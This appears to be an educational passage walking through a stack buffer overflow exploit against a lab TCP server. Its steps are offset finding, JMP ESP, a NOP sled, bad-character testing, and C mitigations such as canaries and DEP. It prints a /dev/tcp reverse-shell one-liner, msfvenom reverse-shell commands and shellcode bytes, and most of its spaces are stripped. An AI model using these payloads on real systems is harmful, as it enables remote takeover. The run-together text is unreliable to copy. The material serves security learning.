LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

